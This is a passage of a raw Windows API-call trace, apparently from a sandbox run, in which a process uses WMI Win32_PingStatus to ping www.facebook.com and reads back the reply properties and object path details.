varVal1=0x0, varVal2=0x0), pType=0x22c1ec8*=0, plFlavor=0x22c1ecc*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c1ec8*=19, plFlavor=0x22c1ecc*=0) returned 0x0 [0140.496] IWbemClassObject:Get (in: This=0x5c50300, wszName="ProtocolAddress", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c1f38*=0, plFlavor=0x22c1f3c*=0 | out: pVal=0x572e954*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="69.171.250.35", varVal2=0x0), pType=0x22c1f38*=8, plFlavor=0x22c1f3c*=0) returned 0x0 [0140.496] SysStringByteLen (bstr="69.171.250.35") returned 0x1a [0140.496] SysStringByteLen (bstr="69.171.250.35") returned 0x1a [0140.496] IWbemClassObject:Get (in: This=0x5c50300, wszName="ProtocolAddressResolved", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c1fc4*=0, plFlavor=0x22c1fc8*=0 | out: pVal=0x572e954*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x22c1fc4*=8, plFlavor=0x22c1fc8*=32) returned 0x0 [0140.496] SysStringByteLen (bstr="") returned 0x0 [0140.496] SysStringByteLen (bstr="") returned 0x0 [0140.496] IWbemClassObject:Get (in: This=0x5c50300, wszName="RecordRoute", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c2028*=0, plFlavor=0x22c202c*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c2028*=19, plFlavor=0x22c202c*=0) returned 0x0 [0140.497] IWbemClassObject:Get (in: This=0x5c50300, wszName="ReplyInconsistency", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c2124*=0, plFlavor=0x22c2128*=0 | out: pVal=0x572e954*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c2124*=11, plFlavor=0x22c2128*=0) returned 0x0 [0140.497] IWbemClassObject:Get (in: This=0x5c50300, wszName="ReplySize", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c2194*=0, plFlavor=0x22c2198*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x22c2194*=19, plFlavor=0x22c2198*=0) returned 0x0 [0140.497] IWbemClassObject:Get (in: This=0x5c50300, wszName="ResolveAddressNames", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c2204*=0, plFlavor=0x22c2208*=0 | out: pVal=0x572e954*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c2204*=11, plFlavor=0x22c2208*=0) returned 0x0 [0140.497] IWbemClassObject:Get (in: This=0x5c50300, wszName="ResponseTime", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c2274*=0, plFlavor=0x22c2278*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12, varVal2=0x0), pType=0x22c2274*=19, plFlavor=0x22c2278*=0) returned 0x0 [0140.497] IWbemClassObject:Get (in: This=0x5c50300, wszName="ResponseTimeToLive", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c22e4*=0, plFlavor=0x22c22e8*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x36, varVal2=0x0), pType=0x22c22e4*=19, plFlavor=0x22c22e8*=0) returned 0x0 [0140.498] IWbemClassObject:Get (in: This=0x5c50300, wszName="RouteRecord", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c2354*=0, plFlavor=0x22c2358*=0 | out: pVal=0x572e954*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c2354*=8200, plFlavor=0x22c2358*=32) returned 0x0 [0140.498] IWbemClassObject:Get (in: This=0x5c50300, wszName="RouteRecordResolved", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c23b8*=0, plFlavor=0x22c23bc*=0 | out: pVal=0x572e954*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c23b8*=8200, plFlavor=0x22c23bc*=32) returned 0x0 [0140.498] IWbemClassObject:Get (in: This=0x5c50300, wszName="SourceRoute", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c241c*=0, plFlavor=0x22c2420*=0 | out: pVal=0x572e954*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x22c241c*=8, plFlavor=0x22c2420*=0) returned 0x0 [0140.498] SysStringByteLen (bstr="") returned 0x0 [0140.498] SysStringByteLen (bstr="") returned 0x0 [0140.498] IWbemClassObject:Get (in: This=0x5c50300, wszName="SourceRouteType", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c2480*=0, plFlavor=0x22c2484*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c2480*=19, plFlavor=0x22c2484*=0) returned 0x0 [0140.498] IWbemClassObject:Get (in: This=0x5c50300, wszName="StatusCode", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c24f0*=0, plFlavor=0x22c24f4*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c24f0*=19, plFlavor=0x22c24f4*=0) returned 0x0 [0140.499] IWbemClassObject:Get (in: This=0x5c50300, wszName="Timeout", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c2998*=0, plFlavor=0x22c299c*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfa0, varVal2=0x0), pType=0x22c2998*=19, plFlavor=0x22c299c*=0) returned 0x0 [0140.499] IWbemClassObject:Get (in: This=0x5c50300, wszName="TimeStampRecord", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c2a08*=0, plFlavor=0x22c2a0c*=0 | out: pVal=0x572e954*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c2a08*=8211, plFlavor=0x22c2a0c*=32) returned 0x0 [0140.499] IWbemClassObject:Get (in: This=0x5c50300, wszName="TimeStampRecordAddress", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c2a6c*=0, plFlavor=0x22c2a70*=0 | out: pVal=0x572e954*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c2a6c*=8200, plFlavor=0x22c2a70*=32) returned 0x0 [0140.499] IWbemClassObject:Get (in: This=0x5c50300, wszName="TimeStampRecordAddressResolved", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c2ad0*=0, plFlavor=0x22c2ad4*=0 | out: pVal=0x572e954*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c2ad0*=8200, plFlavor=0x22c2ad4*=32) returned 0x0 [0140.499] IWbemClassObject:Get (in: This=0x5c50300, wszName="TimestampRoute", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c2b34*=0, plFlavor=0x22c2b38*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c2b34*=19, plFlavor=0x22c2b38*=0) returned 0x0 [0140.500] IWbemClassObject:Get (in: This=0x5c50300, wszName="TimeToLive", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c2ba4*=0, plFlavor=0x22c2ba8*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x50, varVal2=0x0), pType=0x22c2ba4*=19, plFlavor=0x22c2ba8*=0) returned 0x0 [0140.500] IWbemClassObject:Get (in: This=0x5c50300, wszName="TypeofService", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c2d20*=0, plFlavor=0x22c2d24*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22c2d20*=19, plFlavor=0x22c2d24*=0) returned 0x0 [0140.500] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SERVER", lFlags=0, pVal=0x572e8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572e96c*=0, plFlavor=0x572e968*=0 | out: pVal=0x572e8e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x572e96c*=8, plFlavor=0x572e968*=64) returned 0x0 [0140.500] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.500] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.500] IWbemClassObject:Get (in: This=0x5c50300, wszName="__NAMESPACE", lFlags=0, pVal=0x572e8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572e96c*=8, plFlavor=0x572e968*=64 | out: pVal=0x572e8e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x572e96c*=8, plFlavor=0x572e968*=64) returned 0x0 [0140.500] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.500] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.501] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572e8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572e96c*=8, plFlavor=0x572e968*=64 | out: pVal=0x572e8e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x572e96c*=8, plFlavor=0x572e968*=64) returned 0x0 [0140.501] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.501] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.501] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e4 [0140.501] SetEvent (hEvent=0x3f4) returned 1 [0140.501] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572e844*=0x4e4, lpdwindex=0x572e668 | out: lpdwindex=0x572e668) returned 0x0 [0140.505] CoGetContextToken (in: pToken=0x572e71c | out: pToken=0x572e71c) returned 0x0 [0140.505] CoGetContextToken (in: pToken=0x572e67c | out: pToken=0x572e67c) returned 0x0 [0140.505] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b748, riid=0x572e74c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x572e748 | out: ppvObject=0x572e748*=0x37b748) returned 0x0 [0140.505] WbemDefPath:IUnknown:AddRef (This=0x37b748) returned 0x3 [0140.505] WbemDefPath:IUnknown:Release (This=0x37b748) returned 0x2 [0140.505] WbemDefPath:IWbemPath:SetText (This=0x37b748, uMode=0x4, pszPath="") returned 0x0 [0140.505] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e8 [0140.505] SetEvent (hEvent=0x3f4) returned 1 [0140.505] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572e844*=0x4e8, lpdwindex=0x572e668 | out: lpdwindex=0x572e668) returned 0x0 [0140.507] CoGetContextToken (in: pToken=0x572e71c | out: pToken=0x572e71c) returned 0x0 [0140.507] CoGetContextToken (in: pToken=0x572e67c | out: pToken=0x572e67c) returned 0x0 [0140.507] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b6d8, riid=0x572e74c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x572e748 | out: ppvObject=0x572e748*=0x37b6d8) returned 0x0 [0140.507] WbemDefPath:IUnknown:AddRef (This=0x37b6d8) returned 0x3 [0140.507] WbemDefPath:IUnknown:Release (This=0x37b6d8) returned 0x2 [0140.507] WbemDefPath:IWbemPath:SetText (This=0x37b6d8, uMode=0x4, pszPath="") returned 0x0 [0140.507] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b6d8, puCount=0x572e8e8 | out: puCount=0x572e8e8*=0x0) returned 0x0 [0140.507] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b748, puCount=0x572e8e8 | out: puCount=0x572e8e8*=0x0) returned 0x0 [0140.507] WbemDefPath:IWbemPath:GetClassName (in: This=0x37b6d8, puBuffLength=0x572e940*=0x0, pszName=0x0 | out: puBuffLength=0x572e940*=0x0, pszName=0x0) returned 0x8004103a [0140.508] WbemDefPath:IWbemPath:GetServer (in: This=0x37b6d8, puNameBufLength=0x572e93c*=0x0, pName=0x0 | out: puNameBufLength=0x572e93c*=0x0, pName=0x0) returned 0x80041009 [0140.508] WbemDefPath:IWbemPath:SetServer (This=0x37b6d8, Name="Q9IATRKPRH") returned 0x0 [0140.508] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4ec [0140.508] SetEvent (hEvent=0x3f4) returned 1 [0140.508] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572e844*=0x4ec, lpdwindex=0x572e668 | out: lpdwindex=0x572e668) returned 0x0 [0140.510] CoGetContextToken (in: pToken=0x572e71c | out: pToken=0x572e71c) returned 0x0 [0140.510] CoGetContextToken (in: pToken=0x572e67c | out: pToken=0x572e67c) returned 0x0 [0140.510] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b668, riid=0x572e74c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x572e748 | out: ppvObject=0x572e748*=0x37b668) returned 0x0 [0140.510] WbemDefPath:IUnknown:AddRef (This=0x37b668) returned 0x3 [0140.510] WbemDefPath:IUnknown:Release (This=0x37b668) returned 0x2 [0140.511] WbemDefPath:IWbemPath:SetText (This=0x37b668, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0140.511] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b6d8, puCount=0x572e8e8 | out: puCount=0x572e8e8*=0x0) returned 0x0 [0140.511] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b668, puCount=0x572e8e8 | out: puCount=0x572e8e8*=0x2) returned 0x0 [0140.511] WbemDefPath:IWbemPath:GetText (in: This=0x37b668, lFlags=16, puBuffLength=0x572e8e4*=0x0, pszText=0x0 | out: puBuffLength=0x572e8e4*=0xb, pszText=0x0) returned 0x0 [0140.511] WbemDefPath:IWbemPath:GetText (in: This=0x37b668, lFlags=16, puBuffLength=0x572e8e4*=0xb, pszText="0000000000" | out: puBuffLength=0x572e8e4*=0xb, pszText="root\\cimv2") returned 0x0 [0140.511] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x37b6d8) returned 0x0 [0140.511] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b668, puCount=0x572e920 | out: puCount=0x572e920*=0x2) returned 0x0 [0140.511] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x37b668, uIndex=0x0, puNameBufLength=0x572e91c*=0x0, pName=0x0 | out: puNameBufLength=0x572e91c*=0x5, pName=0x0) returned 0x0 [0140.511] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x37b668, uIndex=0x0, puNameBufLength=0x572e91c*=0x5, pName="0000" | out: puNameBufLength=0x572e91c*=0x5, pName="root") returned 0x0 [0140.511] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x37b6d8, uIndex=0x0, pszName="root") returned 0x0 [0140.511] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x37b668, uIndex=0x1, puNameBufLength=0x572e91c*=0x0, pName=0x0 | out: puNameBufLength=0x572e91c*=0x6, pName=0x0) returned 0x0 [0140.511] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x37b668, uIndex=0x1, puNameBufLength=0x572e91c*=0x6, pName="00000" | out: puNameBufLength=0x572e91c*=0x6, pName="cimv2") returned 0x0 [0140.511] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x37b6d8, uIndex=0x1, pszName="cimv2") returned 0x0 [0140.511] WbemDefPath:IWbemPath:GetClassName (in: This=0x37b6d8, puBuffLength=0x572e940*=0x0, pszName=0x0 | out: puBuffLength=0x572e940*=0x0, pszName=0x0) returned 0x8004103a [0140.511] WbemDefPath:IWbemPath:SetClassName (This=0x37b6d8, Name="Win32_PingStatus") returned 0x0 [0140.511] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b6d8, puCount=0x572e984 | out: puCount=0x572e984*=0x2) returned 0x0 [0140.511] WbemDefPath:IWbemPath:GetText (in: This=0x37b6d8, lFlags=4, puBuffLength=0x572e980*=0x0, pszText=0x0 | out: puBuffLength=0x572e980*=0x29, pszText=0x0) returned 0x0 [0140.511] WbemDefPath:IWbemPath:GetText (in: This=0x37b6d8, lFlags=4, puBuffLength=0x572e980*=0x29, pszText="0000000000000000000000000000000000000000" | out: puBuffLength=0x572e980*=0x29, pszText="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus") returned 0x0 [0140.516] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0140.516] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0140.516] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.516] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0140.516] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0140.516] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.516] IWbemClassObject:GetNames (in: This=0x5c50300, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e908*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e8fc | out: pNames=0x572e8fc*="\x01ƀ\x04") returned 0x0 [0140.516] SafeArrayGetDim (psa=0x5c78d88) returned 0x1 [0140.516] SafeArrayGetDim (psa=0x5c78d88) returned 0x1 [0140.516] SafeArrayGetLBound (in: psa=0x5c78d88, nDim=0x1, plLbound=0x572e794 | out: plLbound=0x572e794) returned 0x0 [0140.516] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.516] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.517] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.517] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.517] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.517] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.517] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.517] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.517] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.517] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.517] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.517] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.517] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.517] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.517] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.517] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.517] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.517] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.517] SysStringByteLen (bstr="__PATH") returned 0xc [0140.517] SysStringByteLen (bstr="__PATH") returned 0xc [0140.517] IWbemClassObject:Get (in: This=0x5c50300, wszName="__GENUS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cb580*=0, plFlavor=0x22cb584*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22cb580*=3, plFlavor=0x22cb584*=64) returned 0x0 [0140.518] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cb5b4*=0, plFlavor=0x22cb5b8*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22cb5b4*=8, plFlavor=0x22cb5b8*=64) returned 0x0 [0140.518] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.518] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.518] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cb60c*=0, plFlavor=0x22cb610*=0 | out: pVal=0x572e8f8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cb60c*=8, plFlavor=0x22cb610*=64) returned 0x0 [0140.518] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DYNASTY", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cb634*=0, plFlavor=0x22cb638*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22cb634*=8, plFlavor=0x22cb638*=64) returned 0x0 [0140.518] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.518] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.518] IWbemClassObject:Get (in: This=0x5c50300, wszName="__RELPATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cb68c*=0, plFlavor=0x22cb690*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22cb68c*=8, plFlavor=0x22cb690*=64) returned 0x0 [0140.518] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.518] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.519] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cb86c*=0, plFlavor=0x22cb870*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22cb86c*=3, plFlavor=0x22cb870*=64) returned 0x0 [0140.519] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DERIVATION", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cb8a0*=0, plFlavor=0x22cb8a4*=0 | out: pVal=0x572e8f8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78c98*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58748, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22cb8a0*=8200, plFlavor=0x22cb8a4*=64) returned 0x0 [0140.519] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SERVER", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22cb8d4*=0, plFlavor=0x22cb8d8*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22cb8d4*=8, plFlavor=0x22cb8d8*=64) returned 0x0 [0140.519] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.519] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.520] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0140.520] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0140.520] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.520] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 